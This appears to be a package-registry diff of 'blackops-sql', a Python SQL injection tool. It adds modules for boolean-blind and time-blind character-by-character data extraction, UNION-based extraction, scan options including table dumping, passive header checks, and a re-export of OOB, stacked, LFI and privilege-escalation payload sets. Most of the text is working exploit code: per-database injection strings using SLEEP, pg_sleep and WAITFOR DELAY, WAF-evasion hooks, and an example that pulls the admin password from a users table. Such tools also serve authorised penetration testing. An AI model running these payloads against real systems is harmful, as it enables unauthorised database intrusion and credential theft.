blackops-sql 0.1.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,302 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """
4
+ BlackOpsSQL — engine/_scanner/extract.py
5
+ Blind data extraction using SUBSTRING-based boolean queries.
6
+
7
+ This module implements character-by-character data extraction over a
8
+ confirmed boolean-blind or time-blind SQLi vector.
9
+
10
+ Approach (binary search over ASCII ordinal):
11
+ For each character position 1..max_len:
12
+ 1. Use a boolean-blind query: ASCII(SUBSTRING(expr, pos, 1)) > mid
13
+ 2. Binary search narrows the ordinal range from [32, 126] to a single
14
+ printable ASCII character in at most 7 requests.
15
+ 3. If the character ordinal is < 32 (non-printable) or > 126, stop
16
+ extraction — we've hit the end of the string.
17
+
18
+ Supported extraction contexts:
19
+ - Boolean-blind: uses _test_boolean_condition() which reuses the active.py
20
+ _fetch + _diff_score machinery.
21
+ - Time-blind: uses _test_time_condition() via blind.py _timed_fetch.
22
+
23
+ Usage:
24
+ result = extract_value(
25
+ expr="(SELECT password FROM users WHERE username='admin' LIMIT 1)",
26
+ surface=surface, evasions=evasions, opts=opts,
27
+ injector=injector, baseline=baseline,
28
+ mode="boolean", # or "time"
29
+ )
30
+ # result is a string like "s3cr3t!" or "" on failure
31
+ """
32
+
33
+ from __future__ import annotations
34
+
35
+ import time
36
+ from typing import Any, Dict, List, Optional
37
+
38
+ import re as _re
39
+
40
+ from blackops_payloads.sqli import get_extraction_targets # noqa: F401 (re-exported)
41
+ from ..log import get_logger
42
+ from ..http.injector import Injector
43
+ from ..http.waf_detect import EVASION_NONE
44
+ from .options import ScanOptions
45
+ from .payloads import apply_evasion
46
+ from .active import _fetch, _diff_score, _len_ratio
47
+ from .blind import _timed_fetch
48
+
49
+ logger = get_logger("blackopssql.extract")
50
+
51
+ # Printable ASCII range (space=32 .. tilde=126)
52
+ _ASCII_MIN = 32
53
+ _ASCII_MAX = 126
54
+
55
+ # Stop extraction when we see this many consecutive non-printable / null chars
56
+ _MAX_NONPRINT_STREAK = 2
57
+
58
+ # Maximum characters to extract per expression (safety cap)
59
+ _MAX_EXTRACT_LEN = 256
60
+
61
+ # Diff score threshold: same as active.py boolean likely threshold
62
+ _DIFF_THRESHOLD = 0.10
63
+ _LEN_RATIO_THRESHOLD = 0.02
64
+
65
+
66
+ def extract_value(
67
+ expr: str,
68
+ surface: Dict[str, Any],
69
+ evasions: List[str],
70
+ opts: ScanOptions,
71
+ injector: Injector,
72
+ baseline: str,
73
+ mode: str = "boolean",
74
+ ) -> str:
75
+ """
76
+ Extract the string result of SQL *expr* character by character.
77
+
78
+ *mode* must be ``"boolean"`` (uses response diff) or ``"time"``
79
+ (uses response timing). Returns the extracted string, which may be
80
+ empty if extraction fails.
81
+ """
82
+ dbms = opts.dbms
83
+ evasion = evasions[0] if evasions else EVASION_NONE
84
+
85
+ substr_fn = "SUBSTR" if dbms in ("sqlite", "oracle") else "SUBSTRING"
86
+ ord_fn = "ASCII"
87
+
88
+ url = surface["url"]
89
+ method = surface["method"]
90
+ params = surface["params"]
91
+ param = surface["single_param"]
92
+ json_body = surface.get("json_body", False)
93
+ path_index = surface.get("path_index", 0)
94
+ second_url = getattr(opts, "second_url", "")
95
+
96
+ result_chars: List[str] = []
97
+ nonprint_streak = 0
98
+
99
+ for pos in range(1, _MAX_EXTRACT_LEN + 1):
100
+ ordinal = _binary_search_char(
101
+ expr=expr,
102
+ pos=pos,
103
+ substr_fn=substr_fn,
104
+ ord_fn=ord_fn,
105
+ surface=surface,
106
+ evasion=evasion,
107
+ opts=opts,
108
+ injector=injector,
109
+ baseline=baseline,
110
+ mode=mode,
111
+ )
112
+ if ordinal is None:
113
+ # Could not determine the character — extraction stalled
114
+ logger.debug("extract_value: stalled at pos=%d", pos)
115
+ break
116
+ if ordinal < _ASCII_MIN or ordinal > _ASCII_MAX:
117
+ nonprint_streak += 1
118
+ if nonprint_streak >= _MAX_NONPRINT_STREAK:
119
+ break
120
+ continue
121
+
122
+ nonprint_streak = 0
123
+ ch = chr(ordinal)
124
+ result_chars.append(ch)
125
+
126
+ return "".join(result_chars)
127
+
128
+
129
+ def _binary_search_char(
130
+ expr: str,
131
+ pos: int,
132
+ substr_fn: str,
133
+ ord_fn: str,
134
+ surface: Dict[str, Any],
135
+ evasion: str,
136
+ opts: ScanOptions,
137
+ injector: Injector,
138
+ baseline: str,
139
+ mode: str,
140
+ ) -> Optional[int]:
141
+ """
142
+ Binary-search the ASCII ordinal of the character at *pos* in the result
143
+ of SQL *expr*.
144
+
145
+ Returns the ordinal integer (0–127) or None if the boolean signal is
146
+ unreliable / the DB returned NULL / end of string.
147
+ """
148
+ url = surface["url"]
149
+ method = surface["method"]
150
+ params = surface["params"]
151
+ param = surface["single_param"]
152
+ json_body = surface.get("json_body", False)
153
+ path_index = surface.get("path_index", 0)
154
+ second_url = getattr(opts, "second_url", "")
155
+
156
+ lo, hi = 0, _ASCII_MAX + 1 # lo=0 so ASCII('')=0 converges to ordinal 1 (end-of-string)
157
+
158
+ while lo + 1 < hi:
159
+ mid = (lo + hi) // 2
160
+
161
+ if mode == "time":
162
+ # Time-blind: if condition is true, the delay fires.
163
+ # Use per-DBMS conditional sleep syntax.
164
+ delay = opts.time_threshold
165
+ _dbms = (opts.dbms or "auto").lower()
166
+ if _dbms in ("postgres", "postgresql"):
167
+ # PostgreSQL: CASE WHEN cond THEN pg_sleep(n) END
168
+ time_true_pl = (
169
+ f"' AND (CASE WHEN ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
170
+ f" THEN (SELECT 1 FROM pg_sleep({delay})) ELSE 1 END)=1-- -"
171
+ )
172
+ elif _dbms == "mssql":
173
+ # MSSQL: WAITFOR DELAY cannot appear inside a SELECT subquery
174
+ time_true_pl = (
175
+ f"'; IF ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
176
+ f" WAITFOR DELAY '0:0:{delay}'-- -"
177
+ )
178
+ elif _dbms == "sqlite":
179
+ # SQLite: randomblob-based busy loop to induce delay when condition is true
180
+ time_true_pl = (
181
+ f"' AND (CASE WHEN ({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid})"
182
+ f" THEN (SELECT COUNT(*) FROM (WITH RECURSIVE r(x) AS"
183
+ f" (SELECT 1 UNION ALL SELECT x+1 FROM r WHERE x<1000000) SELECT x FROM r)) ELSE 1 END)=1-- -"
184
+ )
185
+ else:
186
+ # MySQL / MariaDB / auto: OR scalar subquery avoids the missing-row issue of time-based conditions
187
+ time_true_pl = (
188
+ f"' OR (SELECT IF({ord_fn}({substr_fn}(({expr}),{pos},1))>{mid}"
189
+ f",SLEEP({delay}),0))-- -"
190
+ )
191
+ time_true_pl = apply_evasion(time_true_pl, evasion)
192
+ elapsed = _timed_fetch(
193
+ injector, url, method, params, param, time_true_pl,
194
+ second_url=second_url, json_body=json_body, path_index=path_index,
195
+ )
196
+ if elapsed is None:
197
+ return None
198
+ condition_true = elapsed >= opts.time_threshold
199
+ else:
200
+ # Boolean-blind: OR-based single probe compared against baseline.
201
+ probe_payload = f"' OR {ord_fn}({substr_fn}(({expr}),{pos},1))>{mid}-- -"
202
+ probe_pl = apply_evasion(probe_payload, evasion)
203
+
204
+ resp_probe = _fetch(injector, url, method, params, param, probe_pl,
205
+ second_url=second_url, json_body=json_body,
206
+ path_index=path_index)
207
+ if resp_probe is None:
208
+ return None
209
+
210
+ score = _diff_score(resp_probe, baseline)
211
+ len_r = _len_ratio(resp_probe, baseline)
212
+ condition_true = score >= _DIFF_THRESHOLD or len_r >= _LEN_RATIO_THRESHOLD
213
+
214
+ if condition_true:
215
+ lo = mid # ordinal > mid, so search upper half
216
+ else:
217
+ hi = mid # ordinal <= mid, so search lower half
218
+
219
+ ordinal = lo + 1
220
+ if ordinal < _ASCII_MIN or ordinal > _ASCII_MAX:
221
+ return ordinal # caller handles out-of-range (end of string / NULL)
222
+ return ordinal
223
+
224
+
225
+ _UNION_PREFIX = "BSQL_OUT_"
226
+ _UNION_SUFFIX = "_BSQL_END"
227
+ _MARKER_RE = _re.compile(r"'BreachSQL_[^']*'")
228
+
229
+
230
+ def extract_via_union(
231
+ expr: str,
232
+ union_finding,
233
+ surface: Dict[str, Any],
234
+ evasions: List[str],
235
+ opts: ScanOptions,
236
+ injector: Injector,
237
+ ) -> str:
238
+ """
239
+ Extract a single SQL expression using a confirmed UNION injection.
240
+ One request per expression — no binary search needed.
241
+ """
242
+ evasion = evasions[0] if evasions else EVASION_NONE
243
+ dbms = (opts.dbms or "auto").lower()
244
+
245
+ if dbms in ("sqlite", "postgres", "postgresql", "oracle"):
246
+ cast = f"CAST(({expr}) AS TEXT)"
247
+ concat = f"'{_UNION_PREFIX}'||{cast}||'{_UNION_SUFFIX}'"
248
+ concat_candidates = [concat]
249
+ elif dbms == "mssql":
250
+ cast = f"CAST(({expr}) AS NVARCHAR(MAX))"
251
+ concat = f"'{_UNION_PREFIX}'+{cast}+'{_UNION_SUFFIX}'"
252
+ concat_candidates = [concat]
253
+ elif dbms == "auto":
254
+ # Try pipe concat first (SQLite / PostgreSQL / Oracle), then CONCAT (MySQL / MariaDB)
255
+ cast_text = f"CAST(({expr}) AS TEXT)"
256
+ cast_char = f"CAST(({expr}) AS CHAR)"
257
+ concat_candidates = [
258
+ f"'{_UNION_PREFIX}'||{cast_text}||'{_UNION_SUFFIX}'",
259
+ f"CONCAT('{_UNION_PREFIX}',{cast_char},'{_UNION_SUFFIX}')",
260
+ ]
261
+ else:
262
+ cast = f"CAST(({expr}) AS CHAR)"
263
+ concat = f"CONCAT('{_UNION_PREFIX}',{cast},'{_UNION_SUFFIX}')"
264
+ concat_candidates = [concat]
265
+
266
+ url = surface["url"]
267
+ method = surface["method"]
268
+ params = surface["params"]
269
+ param = surface["single_param"]
270
+ json_body = surface.get("json_body", False)
271
+ path_index = surface.get("path_index", 0)
272
+ second_url = getattr(opts, "second_url", "")
273
+
274
+ _pat = _re.compile(
275
+ _re.escape(_UNION_PREFIX) + r"(.*?)" + _re.escape(_UNION_SUFFIX),
276
+ _re.DOTALL,
277
+ )
278
+
279
+ for concat in concat_candidates:
280
+ new_payload = _MARKER_RE.sub(concat, union_finding.payload, count=1)
281
+ if new_payload == union_finding.payload:
282
+ return ""
283
+
284
+ new_payload = apply_evasion(new_payload, evasion)
285
+ resp = _fetch(injector, url, method, params, param, new_payload,
286
+ second_url=second_url, json_body=json_body, path_index=path_index)
287
+ if not resp:
288
+ continue
289
+
290
+ # Search tag-stripped text. Skip matches where UNION+SELECT appear in the
291
+ # 200 chars before BSQL_OUT_ — that signals a reflected-payload echo (e.g.
292
+ # "Results for: ...UNION SELECT...'BSQL_OUT_'||expr||'_BSQL_END',...") rather
293
+ # than actual SQL output.
294
+ text_content = _re.sub(r"<[^>]+>", "", resp)
295
+ clean_lower = text_content.lower()
296
+ for m in _pat.finditer(text_content):
297
+ before = clean_lower[max(0, m.start() - 200):m.start()]
298
+ if "union" in before and "select" in before:
299
+ continue
300
+ return m.group(1)
301
+
302
+ return ""
@@ -0,0 +1,96 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """Scan configuration for BlackOpsSQL."""
4
+
5
+ from __future__ import annotations
6
+
7
+ import warnings
8
+ from typing import Any
9
+
10
+ _VALID_TECHNIQUE_CHARS = frozenset("EBTUSO")
11
+
12
+
13
+ class ScanOptions:
14
+ def __init__(
15
+ self,
16
+ # Shared
17
+ crawl: bool = False,
18
+ data: str = "",
19
+ headers: dict[str, str] | None = None,
20
+ cookies: str = "",
21
+ proxy: str = "",
22
+ threads: int = 5,
23
+ timeout: int = 15,
24
+ level: int = 1,
25
+ max_pages: int = 100,
26
+ max_depth: int = 3,
27
+ delay: float = 0.0,
28
+ output: str = "",
29
+ exclude_patterns: list[Any] | None = None,
30
+ # SQLi-specific
31
+ dbms: str = "auto", # auto|mysql|mssql|postgres|sqlite
32
+ technique: str = "EBTUO", # E B T U O
33
+ oob_callback: str = "",
34
+ time_threshold: int = 4, # seconds
35
+ risk: int = 1, # 1-3
36
+ second_url: str = "", # read response from different URL
37
+ max_union_cols: int = 20, # max columns to probe in UNION detection
38
+ path_params: list[str] | None = None, # path segment names to inject
39
+ cookie_params: list[str] | None = None, # cookie names to inject into
40
+ header_params: list[str] | None = None, # HTTP header names to inject into
41
+ exploit: bool = False, # extract version/user/db/tables after scan
42
+ dump: str = "", # table name to dump rows from
43
+ dump_all: bool = False, # dump every discovered table
44
+ ) -> None:
45
+ # Shared
46
+ self.crawl = crawl
47
+ self.data = data.strip()
48
+ self.headers = headers or {}
49
+ self.cookies = cookies.strip()
50
+ self.proxy = proxy.strip()
51
+ self.threads = max(1, min(threads, 20))
52
+ self.timeout = max(5, min(timeout, 120))
53
+ self.level = max(1, min(level, 3))
54
+ self.max_pages = max_pages
55
+ self.max_depth = max_depth
56
+ self.delay = max(0.0, delay)
57
+ self.output = output.strip()
58
+ self.exclude_patterns: list[Any] = exclude_patterns or []
59
+ # SQLi-specific
60
+ self.dbms = dbms.lower().strip()
61
+ technique_upper = technique.upper()
62
+ unknown_chars = set(technique_upper) - _VALID_TECHNIQUE_CHARS
63
+ if unknown_chars:
64
+ warnings.warn(
65
+ f"Unknown technique letter(s) ignored: {''.join(sorted(unknown_chars))}. "
66
+ f"Valid letters are: E B T U S O",
67
+ UserWarning,
68
+ stacklevel=2,
69
+ )
70
+ # Keep only valid letters, preserving the original order
71
+ self.technique = "".join(c for c in technique_upper if c in _VALID_TECHNIQUE_CHARS)
72
+ self.oob_callback = oob_callback.strip()
73
+ self.time_threshold = max(1, min(time_threshold, 30))
74
+ self.risk = max(1, min(risk, 3))
75
+ self.second_url = second_url.strip() # if set, read responses from here
76
+ self.max_union_cols = max(1, min(max_union_cols, 100))
77
+ self.path_params = path_params or []
78
+ self.cookie_params = cookie_params or []
79
+ self.header_params = header_params or []
80
+ self.exploit = exploit
81
+ self.dump = dump.strip()
82
+ self.dump_all = dump_all
83
+
84
+ # Convenience: check which techniques are enabled
85
+ @property
86
+ def use_error(self) -> bool: return "E" in self.technique
87
+ @property
88
+ def use_boolean(self) -> bool: return "B" in self.technique
89
+ @property
90
+ def use_time(self) -> bool: return "T" in self.technique
91
+ @property
92
+ def use_union(self) -> bool: return "U" in self.technique
93
+ @property
94
+ def use_stacked(self) -> bool: return "S" in self.technique
95
+ @property
96
+ def use_oob(self) -> bool: return "O" in self.technique and bool(self.oob_callback)
@@ -0,0 +1,86 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """
4
+ BlackOpsSQL — engine/_scanner/passive.py
5
+ Fetch the seed page and run passive header/config checks.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ from typing import Optional
11
+
12
+ import requests
13
+
14
+ from ..log import get_logger
15
+ from ..http.injector import Injector
16
+ from ..reporter import ScanResult
17
+
18
+ logger = get_logger("blackopssql.passive")
19
+
20
+
21
+ def fetch_seed(injector: Injector, url: str) -> Optional[requests.Response]:
22
+ """Fetch the target URL once for passive checks and DOM source."""
23
+ try:
24
+ resp = injector.get(url)
25
+ logger.debug("Seed fetch %s → %d (%d bytes)", url, resp.status_code, len(resp.text))
26
+ return resp
27
+ except Exception as exc:
28
+ logger.warning("Seed fetch failed for %s: %s", url, exc)
29
+ return None
30
+
31
+
32
+ def run_passive_checks(
33
+ url: str,
34
+ seed_resp: Optional[requests.Response],
35
+ injector: Injector,
36
+ result: ScanResult,
37
+ ) -> None:
38
+ """
39
+ Lightweight passive checks relevant to SQLi context.
40
+ Currently checks for verbose error disclosure in the default response
41
+ and notes interesting headers (X-Powered-By, Server) for DBMS hints.
42
+ """
43
+ if seed_resp is None:
44
+ return
45
+
46
+ _check_error_disclosure(url, seed_resp, result)
47
+ _check_interesting_headers(url, seed_resp, result)
48
+
49
+
50
+ def _check_error_disclosure(url: str, resp, result: ScanResult) -> None:
51
+ """Log a warning if the default response already contains a DB error."""
52
+ from .active import _detect_db_error # avoid circular import at module level
53
+ dbms, evidence = _detect_db_error(resp.text)
54
+ if dbms:
55
+ msg = f"Passive: DB error visible in default response [{dbms}] — {evidence[:80]}"
56
+ logger.warning(msg)
57
+ result.append_log(msg)
58
+
59
+
60
+ def _check_interesting_headers(url: str, resp, result: ScanResult) -> None:
61
+ """Log headers that hint at the backend technology / DBMS."""
62
+ interesting = {
63
+ "x-powered-by": "tech hint",
64
+ "server": "server hint",
65
+ "x-aspnet-version": "ASP.NET — likely MSSQL",
66
+ "x-aspnetmvc-version": "ASP.NET MVC — likely MSSQL",
67
+ }
68
+ for hdr, note in interesting.items():
69
+ val = resp.headers.get(hdr, "")
70
+ if val:
71
+ msg = f"Passive header [{hdr}: {val}] ({note})"
72
+ logger.debug(msg)
73
+ result.append_log(msg)
74
+ # Auto-hint DBMS — only set when the header gives a strong signal
75
+ if result.dbms_detected is None:
76
+ val_lower = val.lower()
77
+ hdr_lower = hdr.lower()
78
+ if "mysql" in val_lower or "mariadb" in val_lower:
79
+ result.dbms_detected = "mysql"
80
+ elif (
81
+ "asp" in val_lower or "iis" in val_lower or "mssql" in val_lower
82
+ or hdr_lower in ("x-aspnet-version", "x-aspnetmvc-version")
83
+ ):
84
+ result.dbms_detected = "mssql"
85
+ elif "postgres" in val_lower or "pgsql" in val_lower:
86
+ result.dbms_detected = "postgres"
@@ -0,0 +1,80 @@
1
+ # SPDX-License-Identifier: AGPL-3.0-or-later
2
+ # Copyright (c) 2026 CommonHuman-Lab
3
+ """BlackOpsSQL — SQL injection payloads"""
4
+
5
+ from blackops_payloads.sqli import (
6
+ ERROR_PAYLOADS,
7
+ DB_ERROR_PATTERNS,
8
+ get_error_payloads,
9
+ BOOLEAN_PAIRS,
10
+ BOOLEAN_PAIRS_RISK2,
11
+ get_boolean_pairs,
12
+ TIME_PAYLOADS,
13
+ get_time_payloads,
14
+ CONCAT_PAYLOADS,
15
+ SUBSTRING_PROBES,
16
+ make_marker,
17
+ get_concat_payloads,
18
+ get_substring_probes,
19
+ make_substring_payload,
20
+ order_by_probes,
21
+ union_null_probes,
22
+ OOB_PAYLOADS,
23
+ get_oob_payloads,
24
+ DB_CONTENTS_PAYLOADS,
25
+ get_db_contents_payloads,
26
+ STACKED_PAYLOADS,
27
+ get_stacked_payloads,
28
+ DIOS_PAYLOADS,
29
+ get_dios_payloads,
30
+ LFI_PAYLOADS,
31
+ get_lfi_payloads,
32
+ PRIVESC_PAYLOADS,
33
+ get_privesc_payloads,
34
+ ENUM_PAYLOADS,
35
+ get_enum_payloads,
36
+ )
37
+ from blackops_payloads.sqli.union import BREACH_MARKER_PREFIX
38
+ from blackops_payloads.encoders import apply_evasion
39
+
40
+ __all__ = [
41
+ # error
42
+ "ERROR_PAYLOADS",
43
+ "DB_ERROR_PATTERNS",
44
+ "get_error_payloads",
45
+ # boolean
46
+ "BOOLEAN_PAIRS",
47
+ "BOOLEAN_PAIRS_RISK2",
48
+ "get_boolean_pairs",
49
+ # time
50
+ "TIME_PAYLOADS",
51
+ "get_time_payloads",
52
+ # union / markers
53
+ "BREACH_MARKER_PREFIX",
54
+ "make_marker",
55
+ "CONCAT_PAYLOADS",
56
+ "SUBSTRING_PROBES",
57
+ "get_concat_payloads",
58
+ "get_substring_probes",
59
+ "make_substring_payload",
60
+ "order_by_probes",
61
+ "union_null_probes",
62
+ # oob
63
+ "OOB_PAYLOADS",
64
+ "get_oob_payloads",
65
+ # advanced
66
+ "DB_CONTENTS_PAYLOADS",
67
+ "get_db_contents_payloads",
68
+ "STACKED_PAYLOADS",
69
+ "get_stacked_payloads",
70
+ "DIOS_PAYLOADS",
71
+ "get_dios_payloads",
72
+ "LFI_PAYLOADS",
73
+ "get_lfi_payloads",
74
+ "PRIVESC_PAYLOADS",
75
+ "get_privesc_payloads",
76
+ "ENUM_PAYLOADS",
77
+ "get_enum_payloads",
78
+ # evasion
79
+ "apply_evasion",
80
+ ]